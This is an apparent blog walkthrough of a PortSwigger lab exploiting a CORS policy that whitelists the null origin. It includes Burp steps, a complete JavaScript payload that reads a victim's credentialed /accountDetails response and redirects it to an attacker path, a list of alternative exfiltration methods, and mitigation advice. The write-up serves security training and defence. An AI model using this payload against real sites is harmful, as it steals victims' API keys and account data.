Burp lab walkthrough demonstrating how a null origin CORS misconfiguration can be exploited to exfiltrate an administrator API key, with practical mitigation recommendations.
CORS misconfiguration allowed the lab site to trust a null origin — we used an iframe sandbox + a crafted exploit delivered from the exploit server to force a null Origin, fetch /accountDetails with credentials, and exfiltrate the administrator API key. Lab solved. Short, sharp, and tidy. 🗿✨
CORS (Cross‑Origin Resource Sharing) quietly mediates whether browsers will allow one origin to read data from another — and when misconfigured it becomes a convenient backdoor for attackers. In this walkthrough I reproduce a null‑origin CORS misconfiguration on the PortSwigger lab, show a point‑by‑point PoC that maps to screenshots, and explain how the exploit works and why it matters. Expect a concise, methodical guide with practical mitigation steps so you can both learn and defend. 🗿
Lab link: https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack
CORS (Cross‑Origin Resource Sharing) controls which origins can access resources via browsers’ cross‑origin requests. Detect quickly by checking responses for CORS headers (Access-Control-Allow-Origin, Access-Control-Allow-Credentials) in the HTTP history. If ACAO reflects uncontrolled values (or accepts null) while Access-Control-Allow-Credentials: true is present, that’s a red flag — credentials can be leaked to untrusted contexts.
- Turn on Burp (or your proxy) and enable FoxyProxy so the browser traffic routes through Burp.
Make sure intercept is off when browsing the site to avoid accidental request blocking. ✅
- Open the lab URL in the proxied browser and log in using
wiener:peter.
Use the lab’s built-in user so the environment simulates a real authenticated session. 🔐
- Click My account and observe the page content showing your username and API key:
Your username is: wienerandYour API Key is: 3XBco6bfO4Dv2i9mDRDiwKQbqrhWBx0L.
This confirms the existence of an API endpoint that returns sensitive account data. 👀
- In Burp’s HTTP history, find the
GET /accountDetailsrequest that the page issued.
Open the response preview to verify the JSON payload includesapikey. 📑
- Right-click the
GET /accountDetailsentry → Send to Repeater so you can replay and modify it.
Resend the request in Repeater and confirm the response includesAccess-Control-Allow-Credentials: true.
Repeater gives you a controlled way to test origins and headers without altering the real browser state. 🔁
- Add a custom
Originheader likeOrigin: www.AdityaBhatt3010.comand resend the request.
If the server reflects or accepts arbitrary origins, that’s a signal the origin validation is weak. (Yes, a little promo — fun, harmless.) 😄
- Now change the
Originheader tonulland resend. Observe the response headers now contain:
Access-Control-Allow-Origin: nullandAccess-Control-Allow-Credentials: true.
Bingo: the server explicitly allowsnullorigin while still permitting credentials — the core vulnerability. 🧨
- Prepare the attacker HTML page that performs an XHR to
/accountDetailswith credentials included. The simple exploit reads the response and exfiltrates it to the attacker-controlled endpoint.
Keep this simple for the lab: read → redirect (or fetch to your server). 🔍
(Source Code Explained in detail at the end of PoC)
- HTML-encode (entity-encode) the script block so it can be safely embedded into
srcdocor the exploit server editor without being stripped or mangled.
Many exploit servers sanitize raw<script>tags — encoding avoids that. 🔒
- Wrap the encoded script into an
<iframe>usingsandbox="allow-forms allow-top-navigation allow-scripts"and put it in the exploit server body via the lab’s “exploit server” editor.
A sandboxedsrcdociframe typically runs with anullorigin, which is exactly what we want to trigger the server’snullwhitelist behavior. 🎯
- Click Deliver to victim (lab simulation) so the victim session loads your exploit iframe.
The lab simulates the victim browsing and executing the payload in anullorigin context. 🚀
- Open the exploit server Access Log to watch incoming requests. You’ll see the victim load the exploit and the exfiltration request hit your server.
Look for the URL containing the encoded JSON payload in the query string. 🧾
- URL-decode the captured parameter and extract the
apikeyfield. Example decoded fragment:
"username": "administrator", "apikey": "xZ2lMdAGD4fT7ObYFJ96m1ZupDiu3kK6"— there’s your admin key. 🗝️🥳
- Paste the administrator API key into the lab’s solution box and submit — lab solved. Celebrate quietly and patch loudly. 🎉🛠️
- Congratulations! THe Lab is now Solved🥳👍
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>AdityaBhatt3010</title>
</head>
<body>
<h1>AdityaBhatt3010</h1>
<script>
const request = new XMLHttpRequest();
request.open("GET",
"https://0a40007c04479b90804a0d6200190008.web-security-academy.net/accountDetails",
true);
request.onload = () => {
// Exfiltrate the full response body to attacker-controlled path
window.location.href = "/AdityaBhatt3010?key=" + encodeURIComponent(request.responseText);
};
// INCLUDE credentials (cookies/session) — critical for retrieving victim-specific data
request.withCredentials = true;
request.send();
</script>
</body>
</html>-
XMLHttpRequest()/request.open("GET", ... , true)Opens an asynchronous cross‑origin request to the endpoint that returns account JSON. In the victim context this is cross‑origin and would normally be blocked unless CORS permits it. -
request.withCredentials = trueThis is the pivot: it forces the browser to include cookies and session credentials with the request. If the server accepts credentialed requests (i.e.,Access-Control-Allow-Credentials: true) and the origin matches the server’s ACAO, the browser will allow the page to read the response. WithoutwithCredentials, the request would still be sent in many cases but the response would not expose credentialed details. -
request.onload = () => { window.location.href = "/AdityaBhatt3010?key=" + encodeURIComponent(request.responseText); }On success, we exfiltrate by redirecting the victim’s browser to an attacker path with the response body encoded in the query string. This is a reliable exfil technique in lab conditions; alternatives include issuing a secondfetchto your collector or injecting animg/scripttag whosesrccontains the data. -
request.send()Dispatches the request. The combination ofwithCredentials+ server returningAccess-Control-Allow-Origin: nullwithAccess-Control-Allow-Credentials: truemakesrequest.responseTextreadable by this script in anullorigin iframe.
- A
srcdociframe can have anullorigin in the browser’s security model, particularly when combined with a sandbox. If the server has allowednullin ACAO, then the browser’s same‑origin/CORS checks will permit thatnullorigin to read credentialed responses — which is exactly the vulnerable configuration being exploited. The sandbox ensures the iframe cannot escape to top-level navigation except where allowed, but we grantallow-top-navigationbecause our payload uses a redirect exfil. Use the minimal sandbox flags necessary.
- Many exploit servers sanitize or filter raw
<script>tags. Encoding into numeric entities prevents accidental stripping and ensures the intended script ends up insrcdocintact. After encoding,srcdocrenders those entities back into a functioning script.
fetchvariant:fetch(url, { credentials: 'include' })is functionally equivalent and often more ergonomic. Either XHR or fetch works.- Exfiltration techniques: redirect (used here for simplicity),
fetchto attacker collector,navigator.sendBeacon, or resource injection (new Image().src = ...) depending on lab constraints. - Always
encodeURIComponentthe payload when placing it in a query string to avoid accidental truncation or parsing issues.
- Do not whitelist
null. Treatnullas untrusted. - Don’t reflect Origin blindly. Validate incoming
Originagainst a server‑side allowlist; only echo the exact approved origin. - If
Access-Control-Allow-Credentials: trueis necessary, ACAO must be a single explicit trusted origin (never*, never dynamic unvalidated input). - Server‑side auth checks: endpoints returning secrets must enforce authorization checks regardless of CORS. CORS is not an access control mechanism; it’s a browser policy.
- Never whitelist
null. Treatnullas untrusted — do not include it in allowed origins. - Avoid reflecting arbitrary Origin values. Don’t echo back the
Originheader blindly. Instead, maintain a server‑side allowlist and compare incomingOriginagainst that list; send an explicit ACAO only when it matches exactly. - Use strict origin checks when
Access-Control-Allow-Credentials: trueis required. If credentials are allowed, ACAO must be a single, explicit origin (not*and not reflected user input). - Set
Vary: Originheader. Helps proxies and caching handle origin‑specific responses correctly. - Protect sensitive endpoints server‑side. Don’t rely solely on CORS: enforce server‑side authorization (session checks, tokens) for APIs that return secrets.
- Use secure cookies and
SameSitewhere appropriate.SameSite=Lax/Strictreduces cross‑site request risks for cookies. - Content security and frame protection. Use
X‑Frame‑Options/frame‑ancestorsCSP to reduce clickjacking; but remember this does not replace proper CORS checks. - Pen‑test and automate checks. Add automated tests that ensure
nullor arbitrary origins are not accepted for credentialed endpoints.
That’s the full loop — discovery, exploit, and remediation. This lab shows how a small misstep (whitelisting null or reflecting origin values) leads to big consequences: credentialed responses becoming readable to attacker-controlled contexts. Patch the server‑side logic, enforce strict origin allowlists, and re-test with automated checks. If you followed along with screenshots, you should now be able to reproduce and remediate this issue confidently. Keep testing responsibly and stay majestic. 🗿🔥
~ Aditya Bhatt















